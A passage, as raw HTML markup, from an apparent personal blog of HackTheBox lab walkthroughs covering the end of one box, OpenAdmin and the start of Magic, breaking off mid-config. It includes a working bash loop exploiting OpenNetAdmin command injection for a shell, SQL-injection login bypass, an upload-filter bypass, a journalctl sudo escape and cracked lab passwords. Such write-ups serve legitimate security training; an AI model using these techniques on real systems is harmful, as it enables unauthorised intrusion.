exploit.&lt;/p&gt;&#10;&lt;p&gt;Running it gave a shell immediately.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0446.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0447.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0448.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum helped us find a hash. CMD5 required payment, so I cracked it myself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0449.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;david/Nowonly4me&lt;/p&gt;&#10;&lt;p&gt;I tried connecting over SSH, but couldn&amp;rsquo;t log in at all. Even su failed.&lt;/p&gt;&#10;&lt;p&gt;I even searched for whether there were other forms of su.&lt;/p&gt;&#10;&lt;p&gt;I began researching the website and found that it seemed to be running as root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0450.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it was only a purely front-end page, so there was nothing I could do.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0451.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That wasn&amp;rsquo;t actually how it worked. It granted execute permission, but only root could modify the file. Execution still happened as the current user.&lt;/p&gt;&#10;&lt;p&gt;By this point, I had tried every conventional technique I could think of. The solution was probably unconventional.&lt;/p&gt;&#10;&lt;p&gt;The unconventional paths I had identified were as follows:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0452.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;David&amp;rsquo;s home directory couldn&amp;rsquo;t be listed, but files in it could be executed. If we could identify any privilege-escalation files in David&amp;rsquo;s home directory, knowing their names would be enough.&lt;/p&gt;&#10;&lt;p&gt;There was another lead. I found a configuration file under the directory containing the password file, and that password-file directory was itself the website directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0453.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We had already checked the first item, and I had mapped the IP in hosts.&lt;/p&gt;&#10;&lt;p&gt;The second mentioned the user. That was fine; the process was indeed running as www-data.&lt;/p&gt;&#10;&lt;p&gt;The third only mentioned that the password was easy to crack and suggested credential reuse. It didn&amp;rsquo;t seem to offer much else.&lt;/p&gt;&#10;&lt;p&gt;The fourth mentioned a public public directory under home. We had actually found david and public_www under the home directory, but hadn&amp;rsquo;t located the latter.&lt;/p&gt;&#10;&lt;p&gt;Most importantly, we could execute things under the david directory but couldn&amp;rsquo;t list it. Only David&amp;rsquo;s home directory itself was inaccessible; child directories and files beneath it could still be accessed, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0454.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So there were currently two paths in front of us.&lt;/p&gt;&#10;&lt;p&gt;The first was to brute-force David&amp;rsquo;s home directory.&lt;/p&gt;&#10;&lt;p&gt;The second was to locate public_www.&lt;/p&gt;&#10;&lt;p&gt;I searched for public_www for a long time without success, but later made an important discovery.&lt;/p&gt;&#10;&lt;p&gt;It was hidden under the david directory. Digging through it revealed a backup SSH key.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0455.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Transfer it to Kali.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0456.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The password is shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0457.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Login succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0458.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through some files and found an interesting one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0459.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Whenever I tried privilege escalation with sudo, it required a password, so it was strange that this command didn&amp;rsquo;t.&lt;/p&gt;&#10;&lt;p&gt;Further testing showed that only the exact command /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service&lt;/p&gt;&#10;&lt;p&gt;could be run with sudo without a password. Changing even one character or argument, or appending anything, failed. The only apparent option was concatenating with |, &amp;amp;, ;, and so on, but after concatenation the extra command obviously no longer ran with the original privileges.&lt;/p&gt;&#10;&lt;p&gt;The path was also hard-coded. If it hadn&amp;rsquo;t been, the file could have been replaced to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.linuxcool.com/journalctl" target="_blank" rel="noopener"&#10; &gt;https://www.linuxcool.com/journalctl&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This page explains the journalctl options: -n specifies the number of lines, while -u specifies the service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0460.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t figure out how these two facts were related at all.&lt;/p&gt;&#10;&lt;p&gt;I tried many methods afterward but never solved it. This time I read a write-up, which explained that journalctl was configured to output 5 lines. Once those lines were printed, there was no opportunity to enter a command. However, its output depends on the current window size, so all I needed to do was shrink the window.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0461.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0462.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box really tested search skills. One part was finding the configuration file, which I never found through searching and ultimately had to guess.&lt;/p&gt;&#10;&lt;p&gt;The other was researching the journalctl options, which I did find. But the key was shrinking the current terminal window so it remained inside the pager interface. I didn&amp;rsquo;t find that step through searching. I&amp;rsquo;m not sure whether this is the kind of knowledge accumulated over time or another test of search skills.&lt;/p&gt;&#10;&lt;h2 id="21openadmin"&gt;&lt;a href="#21openadmin" class="header-anchor"&gt;&lt;/a&gt;21.OpenAdmin&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0463.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0464.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Getting a foothold was easier than I expected.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.171/music/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.171/music/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This page lets you log in or create an account.&lt;/p&gt;&#10;&lt;p&gt;Clicking login redirects to &lt;a class="link" href="http://10.10.10.171/ona/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.171/ona/&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0465.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There is a download link at the top.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0466.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That revealed the framework and its version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0467.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Reading it showed that a url was missing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0468.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just add the url to the parameters.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;URL=&amp;#34;http://10.10.10.171/ona/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while true;do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -n &amp;#34;$ &amp;#34;; read cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; curl --silent -d &amp;#34;xajax=window_submit&amp;amp;xajaxr=1574117726710&amp;amp;xajaxargs[]=tooltips&amp;amp;xajaxargs[]=ip%3D%3E;echo \&amp;#34;BEGIN\&amp;#34;;${cmd};echo \&amp;#34;END\&amp;#34;&amp;amp;xajaxargs[]=ping&amp;#34; &amp;#34;${URL}&amp;#34; | sed -n -e &amp;#39;/BEGIN/,/END/ p&amp;#39; | tail -n +2 | head -n -1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It then sends requests in an infinite loop, with each request containing the command you want to execute. It is essentially an interactive shell.&lt;/p&gt;&#10;&lt;p&gt;Here I chose to get a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0469.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried a bunch of things and am not sure which one worked, but the shell came back. As I understood it, the main point of this step was that a reverse shell could give me a tty.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0470.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The reverse shell could not create a tty either, which was strange.&lt;/p&gt;&#10;&lt;p&gt;Maybe I used the wrong method. I left it alone for the moment and checked the configuration files first.&lt;/p&gt;&#10;&lt;p&gt;I did not find anything, but one detail was very strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0471.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the current directory. Its parent was not the default index.html page I had seen, but the framework&amp;rsquo;s configuration directory. www happened to be its web root, which meant that:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0472.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Its apache configuration had to contain indexes for ona and artwork. I first tried to find the apache configuration.&lt;/p&gt;&#10;&lt;p&gt;However, find did not locate it.&lt;/p&gt;&#10;&lt;p&gt;So I searched for artwork instead. That found the directory, and everything became clear.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0473.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing that offered a privilege boundary bypass; everything belonged to www-data. There were several more directories containing applications, however, and two of them had .DS_Store files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0474.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0475.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/gehaxelt/Python-dsstore" target="_blank" rel="noopener"&#10; &gt;https://github.com/gehaxelt/Python-dsstore&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Parsing them did not reveal any special directories either. They were probably included with the project.&lt;/p&gt;&#10;&lt;p&gt;I uploaded LinEnum, but it did not find anything special.&lt;/p&gt;&#10;&lt;p&gt;/usr/bin/python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;It did at least show me where python3 was, and I obtained a tty.&lt;/p&gt;&#10;&lt;p&gt;I eventually ran out of leads, so I went back and reviewed the website several times. From its php files and related material, I was certain it connected to a database.&lt;/p&gt;&#10;&lt;p&gt;I started digging through the directories and eventually reached /opt/ona/www/local/config.&lt;/p&gt;&#10;&lt;p&gt;There I found a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0476.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;n1nj4W4rri0R!&lt;/p&gt;&#10;&lt;p&gt;The path forward was becoming clear again. I first tried it against the users under home.&lt;/p&gt;&#10;&lt;p&gt;If that failed, local port 3306 was open—I had seen it while inspecting processes—so I could connect directly and look for other passwords.&lt;/p&gt;&#10;&lt;p&gt;In the end, I successfully logged in as jimmy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0477.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As always, the first thing to check was sudo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0478.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not use it, so my second move was to go straight to the directory I had found earlier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0479.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had not had permission to enter it before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0480.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;main.php showed that it directly ran cat /home/joanna/.ssh/id_rsa.&lt;/p&gt;&#10;&lt;p&gt;But when I tried it, I did not have permission.&lt;/p&gt;&#10;&lt;p&gt;I found a password in index.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0481.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0482.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still wanted payment.&lt;/p&gt;&#10;&lt;p&gt;Also, this password&amp;rsquo;s sha1 did not match that of n1nj4W4rri0R!.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0483.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0484.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;su failed, so I kept reading the source to see what was happening.&lt;/p&gt;&#10;&lt;p&gt;It was simple: a successful login created a session and redirected to main.php.&lt;/p&gt;&#10;&lt;p&gt;main.php executed a command to read /home/joanna/.ssh/id_rsa.&lt;/p&gt;&#10;&lt;p&gt;There was no point in starting this php file or moving it into the web directory, because the command would run with jimmy&amp;rsquo;s privileges. Running it manually did nothing for me, and putting it in the web directory would not help either, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0485.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All I knew at this point was that joanna had a private key.&lt;/p&gt;&#10;&lt;p&gt;After working on this for a while, I seemed to have exhausted every idea. Then something occurred to me.&lt;/p&gt;&#10;&lt;p&gt;The current file was owned by jimmy, but that did not mean the service that launched it also ran as jimmy.&lt;/p&gt;&#10;&lt;p&gt;In pspy32 I had only seen many apache2 processes with their pids, but no users were shown, so I started checking.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0486.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had assumed that www-data with uid33 was the only user running apache2, but:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0487.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;root had started one as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0488.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an unfamiliar port that nmap had not reported. It was most likely local-only.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0489.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That produced a result: something really was there. Even when using pspy32, I need to remember to investigate manually.&lt;/p&gt;&#10;&lt;p&gt;curl kept failing, so I set up a tunnel.&lt;/p&gt;&#10;&lt;p&gt;ssh -L 8888:localhost:52846 &lt;a class="link" href="mailto:jimmy@10.10.10.171" &gt;jimmy@10.10.10.171&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0490.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0491.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got access, but then had an idea: if this site was running as root, would writing a shell into it not give me root privileges?&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0492.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My understanding was wrong. The resulting account was still joanna.&lt;/p&gt;&#10;&lt;p&gt;Still, I had finally escalated to another user.&lt;/p&gt;&#10;&lt;p&gt;sudo -l -s still did not work. I did not know the password, but first I needed sudo to work at all, because I truly had no other ideas.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0493.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The login succeeded. Sure enough, after logging in I could run sudo -l.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0494.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0495.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0496.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box broadened my thinking a little, although the overall process was still similar to the earlier ones. The main lesson was to observe carefully, and most of the work centered on privilege escalation. It took two hours. The only thing I could not understand was why a shell launched through something running as root landed as joanna.&lt;/p&gt;&#10;&lt;p&gt;I started reading the write-up.&lt;/p&gt;&#10;&lt;p&gt;First point:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0497.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;curl can access main.php directly, but when I read the code it appeared to validate a session first, so that seemed impossible. The image below shows my test: accessing main redirected back to the home page, exactly as the source suggested.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0498.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not work through the web page, but surprisingly it did work locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0499.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had only used curl against index.php to send the login request. I missed this detail.&lt;/p&gt;&#10;&lt;p&gt;Second point:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0500.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the reason. The web service was launched under joanna&amp;rsquo;s identity, so even though root started it, its user identity remained joanna. The configuration file was under /etc/apache2/sites-enabled.&lt;/p&gt;&#10;&lt;p&gt;Third point:&lt;/p&gt;&#10;&lt;p&gt;The first time through, I had not found jimmy&amp;rsquo;s password—the database password—because I had not inspected that file carefully enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0501.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was visible in the process list, though. There was a scheduled task, which I only noticed later.&lt;/p&gt;&#10;&lt;h2 id="22magic"&gt;&lt;a href="#22magic" class="header-anchor"&gt;&lt;/a&gt;22.Magic&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0502.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0503.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0504.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll jump straight to the conclusion: getting a shell wasn&amp;rsquo;t too difficult.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0505.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The login endpoint was vulnerable to sql injection. Blind injection did not work for me, but I could still enter the admin panel.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0506.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not redirect automatically, so I thought I would have to inject manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0507.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;However, the Location header indicated a redirect to upload.php.&lt;/p&gt;&#10;&lt;p&gt;The session had already been written to the database, so visiting it directly did not produce a permissions error. I only needed to log in with a universal password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0508.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The upload page used a whitelist, so I will again skip to the conclusion: I needed to bypass it. upload_labs includes a %20 truncation technique. I tried it and it worked, as follows.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0509.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0510.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Visiting the uploaded file successfully returned a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0511.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I began privilege-escalation reconnaissance.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0512.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0513.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That explained why sleep had not worked.&lt;/p&gt;&#10;&lt;p&gt;I had looked through nearly everything, including the Theseus user&amp;rsquo;s directory. The only remaining lead was a mysql service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0514.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The database credentials I had obtained did not let me su to the target user; it reported an incorrect password.&lt;/p&gt;&#10;&lt;p&gt;ssh also said that only a private key could be used. I&amp;rsquo;ll jump straight to the result here.&lt;/p&gt;&#10;&lt;p&gt;I had checked everything else except mysql, and mysql was not available directly on the target, so I had to forward the port.&lt;/p&gt;&#10;&lt;p&gt;I used frp here.&lt;/p&gt;&#10;&lt;p&gt;frps -c frps.ini&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bind_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;frpc -c frpc.ini&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" 